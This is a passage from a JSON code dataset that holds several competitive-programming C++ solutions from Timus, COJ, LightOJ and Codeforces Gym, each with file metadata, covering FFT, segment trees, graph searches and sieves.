p[], int n, bool invert) {\n\tint dig = 0;\n\twhile ((1 << dig) < n)\n\t\tdig++;\n\n\tfor (int i = 0; i < n; i++) {\n\t\trev[i] = (rev[i >> 1] >> 1) | ((i & 1) << (dig - 1));\n\t\tif (rev[i] > i)\n\t\t\tswap(p[i], p[rev[i]]);\n\t}\n\n\tfor (int len = 2; len <= n; len <<= 1) {\n\t\tdouble angle = 2 * pi / len;\n\t\tif (invert)\n\t\t\tangle *= -1;\n\t\tcomp wgo(cos(angle), sin(angle));\n\t\tfor (int i = 0; i < n; i += len) {\n\t\t\tcomp w(1);\n\t\t\tfor (int j = 0; j < (len >> 1); j++) {\n\t\t\t\tcomp a = p[i + j], b = w * p[i + j + (len >> 1)];\n\t\t\t\tp[i + j] = a + b;\n\t\t\t\tp[i + j + (len >> 1)] = a - b;\n\t\t\t\tw *= wgo;\n\t\t\t}\n\t\t}\n\t}\n\tif (invert)\n\t\tfor (int i = 0; i < n; i++)\n\t\t\tp[i] /= n;\n}\n\nint n;\nint cnt[2 * MAXN];\n\ncomp poly[2 * MAXN];\n\nint mult[2 * MAXN];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tcin >> n;\n\tfor (int i = 1; i < n; i++) {\n\t\tint x = (long long)i * i % n;\n\t\tcnt[x]++;\n\t}\n\n\tfor (int i = 0; i < n; i++) {\n\t\tpoly[i] = cnt[i];\n\t}\n\n\tint len = 1;\n\twhile (len <= n) {\n\t\tlen *= 2;\n\t}\n\tlen *= 2;\n\tfft(poly, len, false);\n\tfor (int i = 0; i < len; i++) {\n\t\tpoly[i] *= poly[i];\n\t}\n\tfft(poly,len, true);\n\n\tfor (int i = 0; i < len; i++) {\n\t\tmult[i] = floor(poly[i].real() + 0.5);\n\t}\n\n\tlong long total = 0;\n\tfor (int i = 0; i < len; i++) {\n\t\ttotal += (long long)cnt[i % n] * mult[i];\n\t}\n\n\tlong long val = 0;\n\tfor (int i = 1; i < n; i++) {\n\t\tint x = (long long)i * i % n;\n\t\tint y = (x + x) % n;\n\t\tif (cnt[y] > 0) {\n\t\t\tval += (long long)cnt[y];\n\t\t}\n\t}\n\tcout << val + (total - val) / 2LL << \"\\n\";\n}\n" }, { "alpha_fraction": 0.4226190447807312, "alphanum_fraction": 0.4732142984867096, "avg_line_length": 17.764705657958984, "blob_id": "4c1b1fc51fcffd7524caf44a986a18de62a21003", "content_id": "62c7c18d3ace3cb44af7510c58b3c89b6a27305e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 336, "license_type": "no_license", "max_line_length": 91, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p3630-Accepted-s1009545.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ninline double S(double n) {\r\n\treturn sqrt((n + 1.0) * ( 2.0 * n * (2.0 * n + 1.0) / 3.0 - n * (n + 1.0) ) / (n - 1.0));\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(10);\r\n\tint n;\r\n\twhile (cin >> n && n) {\r\n\t\tcout << fixed << S(n) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4225466251373291, "alphanum_fraction": 0.44201135635375977, "avg_line_length": 15.166666984558105, "blob_id": "dc2ef38cd20d676fa2798ed784884fcc5f2047e0", "content_id": "4dd46bace9794a9fd50c7b92099bac3117f6cbe9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1233, "license_type": "no_license", "max_line_length": 50, "num_lines": 72, "path": "/Timus/1987-6171667.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1987\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nint n, a[N], b[N], q, x, ans[N];\r\n\r\nstruct event {\r\n\tint x, id, tip;\r\n};\r\n\r\nbool operator < (const event &a, const event &b) {\r\n\tif (a.x != b.x) {\r\n\t\treturn a.x < b.x;\r\n\t}\r\n\tif (a.tip != b.tip) {\r\n\t\treturn a.tip < b.tip;\r\n\t}\r\n\treturn a.id < b.id;\r\n}\r\nvector<event> E;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> a[i] >> b[i];\r\n\t\tevent e;\r\n\t\te.x = a[i];\r\n\t\te.tip = -1;\r\n\t\te.id = i;\r\n\t\tE.push_back(e);\r\n\t\te.x = b[i];\r\n\t\te.tip = 1;\r\n\t\te.id = i;\r\n\t\tE.push_back(e);\r\n\t}\r\n\tcin >> q;\r\n\tfor (int i = 1; i <= q; i++) {\r\n\t\tcin >> x;\r\n\t\tevent e;\r\n\t\te.x = x;\r\n\t\te.tip = 0;\r\n\t\te.id = i;\r\n\t\tE.push_back(e);\r\n\t\tans[i] = -1;\r\n\t}\r\n\tsort(E.begin(), E.end());\r\n\tvector<int> last;\r\n\tfor (int i = 0; i < E.size(); i++) {\r\n\t\tif (E[i].tip == -1) {\r\n\t\t\tlast.push_back(E[i].id);\r\n\t\t} else if (E[i].tip == 0) {\r\n\t\t\tif (last.size() >= 1) {\r\n\t\t\t\tans[E[i].id] = last.back();\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tif (last.size() >= 1) {\r\n\t\t\t\tlast.pop_back();\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i <= q; i++) {\r\n\t\tcout << ans[i] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.46975648403167725, "alphanum_fraction": 0.48782405257225037, "avg_line_length": 15.929577827453613, "blob_id": "92734e24f753fb2bc67d98848ae7b8a51d20469e", "content_id": "0c12854d62a87a70a6576876ea7bcdc8e4d0bd99", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1273, "license_type": "no_license", "max_line_length": 58, "num_lines": 71, "path": "/COJ/eliogovea-cojAC/eliogovea-p2515-Accepted-s542241.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#include<queue>\r\n#include<cstring>\r\n#define MAXN 110\r\n#define MAXL 55\r\nusing namespace std;\r\n\r\nstruct next\r\n{\r\n\tint nodo,costo;\r\n\tnext(int a, int b){nodo=a;costo=b;}\r\n\tbool operator<(const next &x)const{return costo>x.costo;}\r\n};\r\n\r\nint n,g[MAXN][MAXN],len[MAXN],lcs[MAXL][MAXL],ans,mx;\r\nbool mark[MAXN];\r\nchar city[MAXN][MAXL];\r\n\r\npriority_queue<next> q;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d\",&n);\r\n\r\n\tfor(int i=1; i<=n; i++)\r\n\t{\r\n\t\tscanf(\"%s\",city[i]+1);\r\n\t\tlen[i]=strlen(city[i]+1);\r\n\r\n\t\tfor(int j=1; j<i; j++)\r\n\t\t{\r\n\t\t\tfor(int ii=1; ii<=len[i]; ii++)\r\n\t\t\t\tfor(int jj=1; jj<=len[j]; jj++)\r\n\t\t\t\t{\r\n\t\t\t\t\tif(city[i][ii]==city[j][jj])\r\n\t\t\t\t\t\tlcs[ii][jj]=lcs[ii-1][jj-1]+1;\r\n\t\t\t\t\telse lcs[ii][jj]=max(lcs[ii-1][jj],lcs[ii][jj-1]);\r\n\t\t\t\t}\r\n\t\t\tg[i][j]=g[j][i]=lcs[len[i]][len[j]];\r\n\t\t}\r\n\t}\r\n\r\n\t/*for(int i=1; i<=n; i++)\r\n {\r\n for(int j=1; j<=n; j++)\r\n printf(\"%d \",g[i][j]);\r\n printf(\"\\n\");\r\n }*/\r\n\r\n ///Prim\r\n\tq.push(next(1,0));\r\n\twhile(!q.empty())\r\n\t{\r\n\t\tint nod=q.top().nodo,\r\n\t\t\tcost=q.top().costo;\r\n\t\tq.pop();\r\n\r\n\t\tif(!mark[nod])\r\n\t\t{\r\n\t\t\tmark[nod]=1;\r\n\t\t\t//ans+=cost;\r\n\t\t\tmx=max(mx,cost);\r\n\r\n\t\t\tfor(int i=1; i<=n; i++)\r\n\t\t\t\tif(!mark[i])\r\n\t\t\t\t\tq.push(next(i,g[nod][i]));\r\n\t\t}\r\n\t}\r\n\tprintf(\"%d\\n\",mx+1);\r\n}\r\n" }, { "alpha_fraction": 0.4163089990615845, "alphanum_fraction": 0.43776825070381165, "avg_line_length": 14.642857551574707, "blob_id": "ec22837c88d43cc5430ba65ca0f9335827d3ea79", "content_id": "68f8a5caec8436c465baff8ad6180e0c213c9c94", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 233, "license_type": "no_license", "max_line_length": 68, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p2439-Accepted-s489269.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nint c,l,t;\r\nint main()\r\n{\r\n scanf(\"%d\",&c);\r\n while(c--)\r\n {\r\n scanf(\"%d%d\",&l,&t);\r\n printf(\"%d\\n\",(int)(log((double)t/(double)l)/log(5.0/3.0)));\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.37730664014816284, "alphanum_fraction": 0.40321946144104004, "avg_line_length": 22.58333396911621, "blob_id": "4057d0e0fe8e0a9f0258a7d988b206b78d4526c3", "content_id": "c163a0d33d3b02fb0a9cb63b212010e4ddfecdfa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2547, "license_type": "no_license", "max_line_length": 84, "num_lines": 108, "path": "/LightOJ/1415.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\n#include <algorithm>\n#include <limits>\n \nconst int N = 200 * 1000 + 10;\n \nint t;\nint n;\nint type[N];\nint height[N];\nint last[N];\nint to_left[N];\n \nint top;\nint stack[N];\n \nlong long stree[4 * N];\nlong long lazy_add[4 * N];\n \nvoid build(int x, int l, int r) {\n stree[x] = 0;\n lazy_add[x] = 0;\n if (l != r) {\n int m = (l + r) >> 1;\n build(2 * x, l, m);\n build(2 * x + 1, m + 1, r);\n }\n}\n \ninline void push(int x, int l, int r) {\n if (lazy_add[x] == 0) {\n return;\n }\n stree[x] += lazy_add[x];\n if (l != r) {\n lazy_add[2 * x] += lazy_add[x];\n lazy_add[2 * x + 1] += lazy_add[x];\n }\n lazy_add[x] = 0;\n}\n \nvoid update(int x, int l, int r, int ul, int ur, long long delta) {\n push(x, l, r);\n if (r < ul || ur < l) {\n return;\n }\n if (ul <= l && r <= ur) {\n lazy_add[x] += delta;\n push(x, l, r);\n } else {\n int m = (l + r) >> 1;\n update(2 * x, l, m, ul, ur, delta);\n update(2 * x + 1, m + 1, r, ul, ur, delta);\n stree[x] = std::min(stree[2 * x], stree[2 * x + 1]);\n }\n}\n \nlong long query(int x, int l, int r, int ql, int qr) {\n push(x, l, r);\n if (r < ql || qr < l) {\n return std::numeric_limits<long long>::max();\n }\n if (ql <= l && r <= qr) {\n return stree[x];\n }\n int m = (l + r) >> 1;\n return std::min(query(2 * x, l, m, ql, qr), query(2 * x + 1, m + 1, r, ql, qr));\n}\n \nint main() {\n scanf(\"%d\", &t);\n for (int c = 1; c <= t; c++) {\n scanf(\"%d\", &n);\n for (int i = 1; i <= n; i++) {\n scanf(\"%d%d\", type + i, height + i);\n }\n \n for (int i = 1; i <= n; i++) {\n last[type[i]] = 0;\n }\n \n for (int i = 1; i <= n; i++) {\n to_left[i] = std::max(last[type[i]], to_left[i - 1]);\n last[type[i]] = i;\n }\n \n top = 0;\n \n height[0] = std::numeric_limits<int>::max();\n stack[top++] = 0;\n \n build(1, 0, n);\n \n for (int i = 1; i <= n; i++) {\n update(1, 0, n, i - 1, i - 1, height[i]);\n while (height[i] >= height[stack[top - 1]]) {\n int delta = height[i] - height[stack[top - 1]];\n update(1, 0, n, stack[top - 2], stack[top - 1] - 1, delta);\n top--;\n }\n stack[top++] = i;\n long long v = query(1, 0, n, to_left[i], i - 1);\n update(1, 0, n, i, i, v);\n }\n \n printf(\"Case %d: %lld\\n\", c, query(1, 0, n, n, n));\n }\n}\n" }, { "alpha_fraction": 0.4688427448272705, "alphanum_fraction": 0.4807121753692627, "avg_line_length": 17.823530197143555, "blob_id": "bbe73509873fa46fea1b41fa9f73cf079f3905b2", "content_id": "dd721926c62abface24f61c0e1acbeb6b8168086", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 674, "license_type": "no_license", "max_line_length": 70, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p2943-Accepted-s634501.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 505;\r\n\r\nint n, a, b;\r\nstring ph[MAXN];\r\nvector<int> G[MAXN];\r\nint mark[MAXN];\r\n\r\nvoid dfs(int s, int u) {\r\n\tmark[u] = s;\r\n\tfor (vector<int>::iterator it = G[u].begin(); it != G[u].end(); it++)\r\n\t\tif (!mark[*it]) dfs(s, *it);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tcin >> ph[i];\r\n\twhile (cin >> a >> b) {\r\n\t\tG[a].push_back(b);\r\n\t\tG[b].push_back(a);\r\n\t}\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tif (!mark[i] && ph[i][0] != '0')\r\n\t\t\tdfs(i, i);\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tcout << ph[mark[i]] << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.42031872272491455, "alphanum_fraction": 0.4501992166042328, "avg_line_length": 23.743589401245117, "blob_id": "3291bbd8aa48f56ff110dc6753d95acd2c780051", "content_id": "df923ab43392189087d8e9e1f84dab466f5e5018", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1004, "license_type": "no_license", "max_line_length": 68, "num_lines": 39, "path": "/COJ/eliogovea-cojAC/eliogovea-p2301-Accepted-s655711.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 100005;\r\n\r\nint n, q, v, x[3], y[3], sol;\r\nint minx[MAXN], miny[MAXN], maxx[MAXN], maxy[MAXN];\r\nchar ch[2], aux[2];\r\n\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 0; i < n; i++) {\r\n scanf(\"%d%d%d%d%d%d\", &x[0], &y[0], &x[1], &y[1], &x[2], &y[2]);\r\n maxx[i] = max(x[0], max(x[1], x[2]));\r\n maxy[i] = max(y[0], max(y[1], y[2]));\r\n minx[i] = min(x[0], min(x[1], x[2]));\r\n miny[i] = min(y[0], min(y[1], y[2]));\r\n\t}\r\n\tsort(minx, minx + n);\r\n\tsort(miny, miny + n);\r\n\tsort(maxx, maxx + n);\r\n\tsort(maxy, maxy + n);\r\n\r\n\tscanf(\"%d\", &q);\r\n\twhile (q--) {\r\n scanf(\"%s%s%d\", ch, aux, &v);\r\n\t\tif (ch[0] == 'x') {\r\n\t\t\tsol = (lower_bound(minx, minx + n, v) - minx) -\r\n (upper_bound(maxx, maxx + n, v) - maxx);\r\n\t\t\tprintf(\"%d\\n\", sol);\r\n\t\t} else {\r\n\t\t\tsol = (lower_bound(miny, miny + n, v) - miny) -\r\n (upper_bound(maxy, maxy + n, v) - maxy);\r\n\t\t\tprintf(\"%d\\n\", sol);\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.40461933612823486, "alphanum_fraction": 0.42514970898628235, "avg_line_length": 15.014492988586426, "blob_id": "4a9f6108eea8b0b1bcd27ddb15b7ca495ce9fe1b", "content_id": "86b796015e87a227a94f7d16d5cfa4c42fb07a77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1169, "license_type": "no_license", "max_line_length": 46, "num_lines": 69, "path": "/Timus/1106-7469602.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1106\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t\r\n\tint n;\r\n\tcin >> n;\r\n\t\r\n\tvector <vector <int> > graph(n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint x;\r\n\t\twhile (cin >> x && x != 0) {\r\n\t\t\tgraph[i].push_back(x - 1);\r\n\t\t}\r\n\t}\r\n\t\r\n\tbool ok = true;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (!graph[i].size()) {\r\n\t\t\tok = false;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\t\r\n\tif (!ok) {\r\n\t\tcout << \"0\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\t\r\n\tvector <int> depth(n, -1);\r\n\tqueue <int> q;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (depth[i] == -1) {\r\n\t\t\tdepth[i] = 0;\r\n\t\t\tq.push(i);\r\n\t\t}\r\n\t\twhile (!q.empty()) {\r\n\t\t\tint u = q.front();\r\n\t\t\tq.pop();\r\n\t\t\tfor (int i = 0; i < graph[u].size(); i++) {\r\n\t\t\t\tint v = graph[u][i];\r\n\t\t\t\tif (depth[v] == -1) {\r\n\t\t\t\t\tdepth[v] = depth[u] + 1;\r\n\t\t\t\t\tq.push(u);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tvector <int> answer;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (depth[i] & 1) {\r\n\t\t\tanswer.push_back(i + 1);\r\n\t\t}\r\n\t}\r\n\tcout << answer.size() << \"\\n\";\r\n\tfor (int i = 0; i < answer.size(); i++) {\r\n\t\tcout << answer[i];\r\n\t\tif (i + 1 < answer.size()) {\r\n\t\t\tcout << \" \";\r\n\t\t}\r\n\t}\r\n\tcout << \"\\n\";\r\n}" }, { "alpha_fraction": 0.34073108434677124, "alphanum_fraction": 0.3590078353881836, "avg_line_length": 15.022222518920898, "blob_id": "c9924e39506d81c05e507bcbb3c0115ba7ddd1e2", "content_id": "945fca7832f23b6710b41fd3626731768fab9e85", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 766, "license_type": "no_license", "max_line_length": 47, "num_lines": 45, "path": "/COJ/eliogovea-cojAC/eliogovea-p3367-Accepted-s827147.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000;\r\n\r\nbool criba[N * N + 5];\r\n\r\nlong long ans[N + 5];\r\n\r\nint t, n;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tif (!criba[i]) {\r\n\t\t\tfor (int j = i * i; j <= N * N; j += i) {\r\n\t\t\t\tcriba[j] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint fila = 1;\r\n\tint cnt = 0;\r\n\tfor (int i = 1; i <= N * N; i++) {\r\n if (fila > N) {\r\n break;\r\n }\r\n cnt++;\r\n\t\tif (!criba[i]) {\r\n //cout << i << \" \" << fila << \"\\n\";\r\n\t\t\tans[fila] += (long long)i;\r\n\t\t}\r\n if (cnt == fila) {\r\n fila++;\r\n cnt = 0;\r\n }\r\n\t}\r\n\tans[1] = 0;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n cin >> n;\r\n cout << ans[n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.31925299763679504, "alphanum_fraction": 0.3388172388076782, "avg_line_length": 18.059322357177734, "blob_id": "1fd3bd0bf88f9b818a2c5d17e63001c96d2e6e01", "content_id": "cdbfd6ca764f29ada75d3ea1f830f11029d760f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2249, "license_type": "no_license", "max_line_length": 85, "num_lines": 118, "path": "/Codeforces-Gym/101137 - 2016-2017 ACM-ICPC, NEERC, Moscow Subregional Contest/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 101137F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef pair<int,int> par;\n\nstring abc = \"\";\n\nstring solve( bool *mk, bool xorr = false ){\n string sol = \"%[\";\n if( xorr ){\n sol += \"^\";\n }\n\n vector<par> kk;\n\n for( int i = 0; i < abc.size(); i++ ){\n int j = i;\n while( mk[j] ){\n if( j+1 == abc.size() || !mk[j+1] ){\n break;\n }\n j++;\n }\n\n if( mk[i] ){\n kk.push_back( par( i , j ) );\n i = j;\n }\n }\n\n for( int i = 0; i < kk.size(); i++ ){\n int l = kk[i].first;\n int r = kk[i].second;\n\n if( r == l ){\n sol += (char)( abc[l] );\n }\n else if( r == l+1 ){\n sol += (char)( abc[l]);\n sol += (char)( abc[r]);\n }\n else{\n sol += (char)( abc[l] );\n sol += \"-\";\n sol += (char)( abc[r] );\n }\n\n //cout << abc[l] << ' ' << abc[r] << '\\n';\n }\n\n sol += \"]\";\n\n for( int i = 0; i < sol.size()-1; i++ ){\n if( sol[i+1] == '-' ){\n if( sol[i] == '0' ){\n sol[i] = '!';\n }\n else if( sol[i] == 'A' ){\n sol[i] = ':';\n }\n else if( sol[i] == 'a' ){\n sol[i] = '[';\n }\n }\n }\n\n if( sol == \"%[^]\" ){\n return \"%[^!]\";\n }\n\n return sol;\n}\n\nbool mk[200];\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n abc = \" \";\n for( char ch = '0'; ch <= '9'; ch++ ){\n abc += ch;\n }\n\n for( char ch = 'A'; ch <= 'Z'; ch++ ){\n abc += ch;\n }\n\n for( char ch = 'a'; ch <= 'z'; ch++ ){\n abc += ch;\n }\n\n string s;\n getline( cin , s );\n //s = abc;\n\n for( int i = 0; i < abc.size(); i++ ){\n mk[i] = (bool)(s.find(abc[i]) != -1);\n }\n\n string sol1 = solve( mk );\n\n for( int i = 0; i < abc.size(); i++ ){\n mk[i] ^= true;\n }\n\n string sol2 = solve( mk , true );\n if( sol2.size() < sol1.size() || ( sol2.size() == sol1.size() && sol2 < sol1 ) ){\n sol1 = sol2;\n }\n\n cout << sol1 << '\\n';\n}\n" }, { "alpha_fraction": 0.32692307233810425, "alphanum_fraction": 0.35865384340286255, "avg_line_length": 15.931034088134766, "blob_id": "ec8d5fb1f018eecb10fa399218f6af2693169a88", "content_id": "385e2d28f443ddb46c6e641ac025f7fefb1ae1bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1040, "license_type": "no_license", "max_line_length": 42, "num_lines": 58, "path": "/COJ/eliogovea-cojAC/eliogovea-p3464-Accepted-s1120054.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10 * 1000 + 10;\r\n\r\nint t;\r\nint n;\r\nvector <int> g[N];\r\nint dist1[N], dist2[N];\r\n\r\nvoid dfs(int u, int p, int d, int *dist) {\r\n\tdist[u] = d;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tif (v == p) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tdfs(v, u, d + 1, dist);\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tg[i].clear();\r\n\t\t}\r\n\t\tfor (int i = 0; i < n - 1; i++) {\r\n\t\t\tint x, y;\r\n\t\t\tcin >> x >> y;\r\n\t\t\tx--;\r\n\t\t\ty--;\r\n\t\t\tg[x].push_back(y);\r\n\t\t\tg[y].push_back(x);\r\n\t\t}\r\n\t\tdfs(0, -1, 0, dist1);\r\n int x = 0;\r\n for (int i = 0; i < n; i++) {\r\n if (dist1[i] > dist1[x]) {\r\n x = i;\r\n }\r\n }\r\n dfs(x, -1, 0, dist2);\r\n int y = 0;\r\n for (int i = 0; i < n; i++) {\r\n if (dist2[i] > dist2[y]) {\r\n y = i;\r\n }\r\n }\r\n\r\n cout << dist2[y] + 1 << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4163898229598999, "alphanum_fraction": 0.460686594247818, "avg_line_length": 20.5, "blob_id": "aa1c7491d9605add4d3e8d29b83c31b7f64b53fe", "content_id": "04cc8646b71a8e37366fd914a740054c5838dd95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 903, "license_type": "no_license", "max_line_length": 73, "num_lines": 42, "path": "/Codeforces-Gym/100781 - 2015-2016 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2015)/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015-2016 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2015)\n// 100781D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100005;\n\nint n, k;\nint t[N];\n\nvector<int> v;\n\nint sum[2 * N];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> n >> k;\n for (int i = 0; i < n; i++) {\n cin >> t[i];\n v.push_back(t[i]);\n v.push_back(t[i] + 1000);\n }\n sort(v.begin(), v.end());\n v.erase(unique(v.begin(), v.end()), v.end());\n for (int i = 0; i < n; i++) {\n int s = lower_bound(v.begin(), v.end(), t[i]) - v.begin();\n int e = lower_bound(v.begin(), v.end(), t[i] + 1000) - v.begin();\n sum[s]++;\n sum[e]--;\n }\n int cur = 0;\n int ans = 0;\n for (int i = 0; i < v.size(); i++) {\n cur += sum[i];\n if (cur > ans) ans = cur;\n }\n ans = (ans + k - 1) / k;\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.2989601492881775, "alphanum_fraction": 0.3570190668106079, "avg_line_length": 20.370370864868164, "blob_id": "0c3e08e55f155b028ab607b4c6845f6b4e1804a1", "content_id": "133b915926c851ac0b4e285dd37a8b2f9603ea0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1154, "license_type": "no_license", "max_line_length": 101, "num_lines": 54, "path": "/Codeforces-Gym/101090 - 2016-2017 CT S03E02: Codeforces Trainings Season 3 Episode 2 - 2004-2005 OpenCup, Volga Grand Prix/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E02: Codeforces Trainings Season 3 Episode 2 - 2004-2005 OpenCup, Volga Grand Prix\n// 101090G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n, k;\nint vals[1000005];\nint freq[1000005];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> n >> k;\n for (int i = 1; i <= k; i++) {\n cin >> vals[i];\n freq[vals[i]]++;\n }\n bool ok = false;\n int v1, v2;\n for (int i = 1; i <= n && !ok; i++) {\n if (freq[i]) {\n for (int j = i + i; j <= n && !ok; j += i) {\n if (freq[j]) {\n ok = true;\n v1 = i;\n v2 = j;\n }\n }\n }\n }\n if (!ok) {\n cout << \"0 0\\n\";\n } else {\n int ans1 = -1;\n int ans2 = -1;\n for (int i = 1; i <= k; i++) {\n if (vals[i] == v1) {\n ans1 = i;\n }\n if (vals[i] == v2) {\n ans2 = i;\n }\n }\n if (ans1 > ans2) {\n swap(ans1, ans2);\n }\n cout << ans1 << \" \" << ans2 << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.3824257552623749, "alphanum_fraction": 0.40717822313308716, "avg_line_length": 24.491804122924805, "blob_id": "dfaee58a167fee552b58831d4bd2b8ea15515881", "content_id": "8f21499e9fee08496d2067f33f180a5d057034f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1616, "license_type": "no_license", "max_line_length": 85, "num_lines": 61, "path": "/COJ/eliogovea-cojAC/eliogovea-p2750-Accepted-s602308.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n#include <cmath>\r\n#include <iostream>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 10010, MAXNLOG = 16;\r\n\r\nint tc, n, c, r, g, ac[MAXN], RMQ[MAXN][MAXNLOG], pts[110];\r\nvector<pair<int, int> > v;\r\n\r\nint main() {\r\n\tfor (scanf(\"%d\", &tc); tc--;) {\r\n\r\n\t\tscanf(\"%d%d%d%d\", &n, &c, &r, &g);\r\n\r\n\t\tfor (int i = 1, x; i <= n; i++) {\r\n\t\t\tscanf(\"%d\", &x);\r\n\t\t\tac[i] = ac[i - 1] + x;\r\n\t\t\tRMQ[i][0] = 